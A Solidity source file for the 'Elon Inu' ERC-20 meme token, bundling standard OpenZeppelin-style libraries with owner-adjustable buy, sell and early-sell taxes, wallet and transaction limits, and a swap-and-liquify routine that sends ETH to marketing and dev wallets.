value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SignedSafeMath { /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { return a * b; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { return a / b; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { return a - b; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { return a + b; } } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } contract ELONINU is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public immutable uniswapV2Pair; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public enableEarlySellTax = true; uint256 public maxSellTransactionAmount = 1000000 * (10**18); uint256 public maxBuyTransactionAmount = 20000 * (10**18); uint256 public swapTokensAtAmount = 1000 * (10**18); uint256 public maxWalletToken = 20000 * (10**18); uint256 private buyTotalFees = 5; uint256 public sellTotalFees = 8; uint256 public earlySellTotalFee = 20; // auto burn fee uint256 public burnFee = 0; address public deadWallet = 0x000000000000000000000000000000000000dEaD; // distribute the collected tax percentage wise uint256 public liquidityPercent = 10; // 10% of total collected tax uint256 public marketingPercent = 50; // 50% of total collected tax for buybacks/burns/marketing uint256 public devPercent = 40; // 40% of total collected tax for dAPP, metaverse land and events, and more address payable public marketingWallet = payable(0x4960a1A88cCC7Fde712A07fa7289c64056BbbACE); address payable public devWallet = payable(0xbAB090cca2a13CdE31a7c4c3C54A16f30Cb163f2); // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; mapping (address => uint256) public lastTxTimestamp; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensIntoLiqudity, uint256 ethReceived ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() ERC20("Elon Inu", "ELON INU") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // pancakeswap v2 router address // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(marketingWallet, true); excludeFromFees(devWallet, true); excludeFromFees(address(this), true); /* an internal function that is only called here, and CANNOT be called ever again */ _createInitialSupply(owner(), 1000000 * (10**18)); } receive() external payable { } function updateUniswapV2Router(address newAddress) public onlyOwner { require(newAddress != address(uniswapV2Router), "KCoin: The router already has that address"); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); } function excludeFromFees(address account, bool excluded) public onlyOwner { require(_isExcludedFromFees[account] != excluded, "KCoin: Account is already the value of 'excluded'"); _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "KCoin: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "KCoin: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount."); lastTxTimestamp[to] = block.timestamp; } if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) { require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if( overMinTokenBalance && !inSwapAndLiquify && automatedMarketMakerPairs[to] && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } uint256 fees = 0; uint256 burnShare = 0; // if any account belongs to _isExcludedFromFee account then remove the fee if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { uint256 _totalFees = buyTotalFees; if (automatedMarketMakerPairs[to]) { uint256 span = block.timestamp-lastTxTimestamp[from]; if(enableEarlySellTax && span <= 8 hours) { _totalFees = earlySellTotalFee; } else if(!enableEarlySellTax) { _totalFees = sellTotalFees; } } fees = amount.mul(_totalFees).div(100); burnShare = amount.mul(burnFee).div(100); if(fees > 0) { super._transfer(from, address(this), fees); } if(burnShare > 0) { super._transfer(from, deadWallet, burnShare); } amount = amount.sub(fees.add(burnShare)); } super._transfer(from, to, amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokensForLiquidity = contractTokenBalance.mul(liquidityPercent).div(100); // split the Liquidity token balance into halves uint256 half = tokensForLiquidity.div(2); uint256 otherHalf = tokensForLiquidity.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); // swap and Send Eth to marketing, dev wallets swapTokensForEth(contractTokenBalance.sub(tokensForLiquidity)); marketingWallet.transfer(address(this).balance.mul(marketingPercent).div(marketingPercent.add(devPercent))); devWallet.transfer(address(this).balance); emit SwapAndLiquify(half, newBalance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); if(allowance(address(this), address(uniswapV2Router)) < tokenAmount) { _approve(address(this), address(uniswapV2Router), ~uint256(0)); } // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function setMaxSellTransaction(uint256 _maxSellTxAmount) public onlyOwner { maxSellTransactionAmount = _maxSellTxAmount; require(maxSellTransactionAmount>totalSupply().div(1000), "value is too low"); } function setMaxBuyTransaction(uint256 _maxBuyTxAmount) public onlyOwner { maxBuyTransactionAmount = _maxBuyTxAmount; require(maxBuyTransactionAmount>totalSupply().div(1000), "value is too low"); } function setSwapTokensAtAmouunt(uint256 _newAmount) public onlyOwner { swapTokensAtAmount = _newAmount; } function setMarketingWallet(address payable wallet) public onlyOwner { marketingWallet = wallet; } function setDevWallet(address payable wallet) public onlyOwner { devWallet = wallet; } function updateBuyTotalTax(uint256 _buyTotalFees) public onlyOwner { buyTotalFees = _buyTotalFees; require(buyTotalFees <= 10, "Fee too high"); } function updateSellTotalTax(uint256 _sellTotalFees) public onlyOwner { sellTotalFees = _sellTotalFees; require(sellTotalFees <= 10, "Fee too high"); } function updateEarlySellTotalTax(uint256 _earlySellTotalFee) public onlyOwner { earlySellTotalFee = _earlySellTotalFee; require(earlySellTotalFee <= 21, "Fee too high"); } function updateTaxDistributionPercentage(uint256 _liquidityPercent, uint256 _marketingPercent, uint256 _devPercent) public onlyOwner { require(_liquidityPercent.add(_marketingPercent).add(_devPercent) == 100, "total percentage must be equal to 100"); liquidityPercent = _liquidityPercent; marketingPercent = _marketingPercent; devPercent = _devPercent; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } function setAutoBurn(uint256 _burnFee) external onlyOwner { require(_burnFee <= 5, "value too high"); burnFee = _burnFee; } function setMaxWalletToken(uint256 _maxToken) external onlyOwner { maxWalletToken = _maxToken; require(maxWalletToken>totalSupply().div(1000), "value is too low"); } }
auto burn fee distribute the collected tax percentage wise exlcude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount
